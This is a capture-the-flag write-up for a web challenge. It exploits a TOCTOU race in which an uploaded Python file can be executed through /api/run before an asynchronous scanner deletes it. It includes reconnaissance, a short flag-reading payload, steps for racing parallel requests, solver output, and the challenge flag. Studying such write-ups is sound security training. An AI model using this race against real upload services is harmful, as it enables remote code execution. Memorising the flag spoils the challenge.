Category: Web
Difficulty: Medium
Vulnerability: TOCTOU Race Condition in Asynchronous Threat Pipeline
Flag:INFERNOCTF{t0cT0u_r4c3_c0nd1t10n_r3v3ng3_n0_l34k_n0_byp4ss}
Challenge Card & Overview


Background & What Changed in Revenge
In v1 of Quarantined, some players found unintended shortcuts:
- Filename Leakage: The
/uploadresponse directly disclosed the saved file name on disk. - Double Extensions: Passing extensions like
file.py.txtorfile.txt.pybypassed naive validation.
In Quarantined_REVENGE:
/uploadnever reveals disk filenames—it only returns a random 16-hexfile_id.- The diagnostic execution endpoint (
/api/run/<filename>) strictly validates filenames against^[0-9a-f]{16}\.py$, eliminating any path traversal or double-extension tricks. - The only possible solution is the pure TOCTOU race condition.
Reconnaissance & Discovery
2.1 robots.txt
Checking robots.txt reveals the hidden maintenance endpoint:
GET /robots.txt
User-agent: *
Allow: /
Disallow: /api/
Disallow: /api/run/
Disallow: /uploads/
2.2 Probing /api/run/<filename>
Fuzzing the execution endpoint reveals strict validation:
GET /api/run/test.txt->{"error": "Invalid or unsupported script format"}GET /api/run/test.py->{"error": "Invalid or unsupported script format"}GET /api/run/0123456789abcdef.txt->{"error": "Invalid or unsupported script format"}GET /api/run/0123456789abcdef.py->{"error": "Script not found"}
Notice that only a 16-hex ID ending in .py triggers "Script not found".
2.3 Understanding the File Naming Scheme
When uploading a legitimate file (e.g. notes.txt), the server returns:
{
"file_id": "4a7c8e9b1d2f3a5b",
"status": "scanning",
"success": true
}
Once the scan passes and the file appears in the dashboard, its download link is:
/uploads/4a7c8e9b1d2f3a5b.txt
This confirms that uploaded files are saved as <file_id>.<ext>.
The TOCTOU Race Condition
When uploading exploit.py:
- The server saves the file to
/app/uploads/<file_id>.py. - The server responds immediately with
{"file_id": "<file_id>"}. - A background thread runs the ThreatShield scanner:
- Phase 1 (100ms): Checksum calculation.
- Phase 2 (250ms): Signature lookup.
- Phase 3 (350ms): Extension check -> detects
.py-> deletes file (os.remove).
There is a ~350ms race window where <file_id>.py exists on disk and can be executed via GET /api/run/<file_id>.py.
Exploitation
4.1 Payload
import os
for p in ['/flag.txt', '/app/flag.txt']:
if os.path.isfile(p):
print(open(p).read())
break
4.2 Exploitation Flow
- Send
POST /uploadwithexploit.py. - Extract
file_idfrom the JSON response. - Construct the disk filename:
f"{file_id}.py". - Instantly trigger multiple parallel threads to send
GET /api/run/<file_id>.py. - Capture the flag output from stdout.
Solver Script
The solver is located in solver/solver.py.
Run the solver:
python solver/solver.py http://localhost:8889
Output:
[*] Target : http://localhost:8889
[*] Strategy: TOCTOU race on async file validation (Revenge Edition)
[*] Max attempts: 50
[~] Attempt 1/50 ...
[+] Flag captured!
INFERNOCTF{t0cT0u_r4c3_c0nd1t10n_r3v3ng3_n0_l34k_n0_byp4ss}
Flag
INFERNOCTF{t0cT0u_r4c3_c0nd1t10n_r3v3ng3_n0_l34k_n0_byp4ss}